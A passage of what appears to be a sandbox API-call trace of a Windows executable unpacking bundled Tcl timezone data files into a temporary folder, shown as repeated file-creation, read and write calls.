dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.394] GetFileType (hFile=0x10c) returned 0x1 [0042.394] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.394] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.394] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.394] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.394] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.394] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.394] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.394] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.394] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.394] CloseHandle (hObject=0x10c) returned 1 [0042.394] GetLastError () returned 0x0 [0042.394] SetLastError (dwErrCode=0x0) [0042.394] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.394] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.394] GetFileType (hFile=0x10c) returned 0x1 [0042.394] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.394] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.394] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.394] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.394] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.394] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.394] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.394] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.395] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.395] CloseHandle (hObject=0x10c) returned 1 [0042.395] GetLastError () returned 0x0 [0042.395] SetLastError (dwErrCode=0x0) [0042.395] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Jersey") returned 70 [0042.395] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Jersey" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\jersey"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.395] GetLastError () returned 0x2 [0042.395] SetLastError (dwErrCode=0x2) [0042.395] GetLastError () returned 0x2 [0042.395] SetLastError (dwErrCode=0x2) [0042.395] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Jersey", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Jersey", lpFilePart=0x0) returned 0x45 [0042.395] GetLastError () returned 0x2 [0042.395] SetLastError (dwErrCode=0x2) [0042.395] GetLastError () returned 0x2 [0042.395] SetLastError (dwErrCode=0x2) [0042.395] GetLastError () returned 0x2 [0042.395] SetLastError (dwErrCode=0x2) [0042.395] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Jersey") returned 70 [0042.395] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.395] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Jersey" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\jersey"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.395] GetFileType (hFile=0x10c) returned 0x1 [0042.395] htonl (hostlong=0xb0000000) returned 0xb0 [0042.395] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.395] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb0, lpOverlapped=0x0) returned 1 [0042.396] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.396] CloseHandle (hObject=0x10c) returned 1 [0042.397] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.397] htonl (hostlong=0x30000000) returned 0x30 [0042.397] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.397] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.397] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.397] GetFileType (hFile=0x10c) returned 0x1 [0042.397] htonl (hostlong=0xac235c00) returned 0x5c23ac [0042.397] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60d3ac, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.397] htonl (hostlong=0x6e020000) returned 0x26e [0042.397] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x26e) returned 0x550600 [0042.397] htonl (hostlong=0x6e020000) returned 0x26e [0042.397] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.397] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.397] htonl (hostlong=0x41090000) returned 0x941 [0042.397] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x941) returned 0x55e278 [0042.397] htonl (hostlong=0x6e020000) returned 0x26e [0042.397] htonl (hostlong=0x41090000) returned 0x941 [0042.397] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.397] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.397] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.397] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.397] CloseHandle (hObject=0x10c) returned 1 [0042.397] GetLastError () returned 0x0 [0042.397] SetLastError (dwErrCode=0x0) [0042.397] GetLastError () returned 0x0 [0042.398] SetLastError (dwErrCode=0x0) [0042.398] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.398] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.398] GetFileType (hFile=0x10c) returned 0x1 [0042.398] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.398] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.398] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.398] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.398] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.398] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.398] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.398] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.398] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.398] CloseHandle (hObject=0x10c) returned 1 [0042.398] GetLastError () returned 0x0 [0042.398] SetLastError (dwErrCode=0x0) [0042.398] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.398] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.398] GetFileType (hFile=0x10c) returned 0x1 [0042.398] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.398] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.398] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.398] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.398] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.398] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.399] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.399] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.399] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.399] CloseHandle (hObject=0x10c) returned 1 [0042.399] GetLastError () returned 0x0 [0042.399] SetLastError (dwErrCode=0x0) [0042.399] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.399] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.399] GetFileType (hFile=0x10c) returned 0x1 [0042.399] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.399] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.399] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.399] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.399] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.399] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.399] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.399] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.399] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.399] CloseHandle (hObject=0x10c) returned 1 [0042.399] GetLastError () returned 0x0 [0042.399] SetLastError (dwErrCode=0x0) [0042.399] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Kaliningrad") returned 75 [0042.399] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Kaliningrad" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\kaliningrad"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.399] GetLastError () returned 0x2 [0042.399] SetLastError (dwErrCode=0x2) [0042.399] GetLastError () returned 0x2 [0042.400] SetLastError (dwErrCode=0x2) [0042.400] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Kaliningrad", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Kaliningrad", lpFilePart=0x0) returned 0x4a [0042.400] GetLastError () returned 0x2 [0042.400] SetLastError (dwErrCode=0x2) [0042.400] GetLastError () returned 0x2 [0042.400] SetLastError (dwErrCode=0x2) [0042.400] GetLastError () returned 0x2 [0042.400] SetLastError (dwErrCode=0x2) [0042.400] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Kaliningrad") returned 75 [0042.400] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.400] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Kaliningrad" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\kaliningrad"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.401] GetFileType (hFile=0x10c) returned 0x1 [0042.401] htonl (hostlong=0x41090000) returned 0x941 [0042.401] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.401] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x941, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x941, lpOverlapped=0x0) returned 1 [0042.402] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.402] CloseHandle (hObject=0x10c) returned 1 [0042.402] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0042.402] htonl (hostlong=0x30000000) returned 0x30 [0042.402] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.402] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.402] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.402] GetFileType (hFile=0x10c) returned 0x1 [0042.402] htonl (hostlong=0x1a265c00) returned 0x5c261a [0042.402] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60d61a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.402] htonl (hostlong=0xf1050000) returned 0x5f1 [0042.402] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5f1) returned 0x550600 [0042.402] htonl (hostlong=0xf1050000) returned 0x5f1 [0042.402] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.402] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.402] htonl (hostlong=0x201c0000) returned 0x1c20 [0042.402] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1c20) returned 0x561090 [0042.402] htonl (hostlong=0xf1050000) returned 0x5f1 [0042.402] htonl (hostlong=0x201c0000) returned 0x1c20 [0042.402] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562cb8 [0042.403] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562cb8 | out: hHeap=0x530000) returned 1 [0042.403] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.403] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.403] CloseHandle (hObject=0x10c) returned 1 [0042.403] GetLastError () returned 0x0 [0042.403] SetLastError (dwErrCode=0x0) [0042.403] GetLastError () returned 0x0 [0042.403] SetLastError (dwErrCode=0x0) [0042.403] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.403] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.403] GetFileType (hFile=0x10c) returned 0x1 [0042.403] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.403] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.403] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.403] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.403] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.403] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.403] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.403] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.404] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.404] CloseHandle (hObject=0x10c) returned 1 [0042.404] GetLastError () returned 0x0 [0042.404] SetLastError (dwErrCode=0x0) [0042.404] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.404] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.404] GetFileType (hFile=0x10c) returned 0x1 [0042.404] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.404] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.404] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.404] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.404] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.404] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.404] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.404] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, 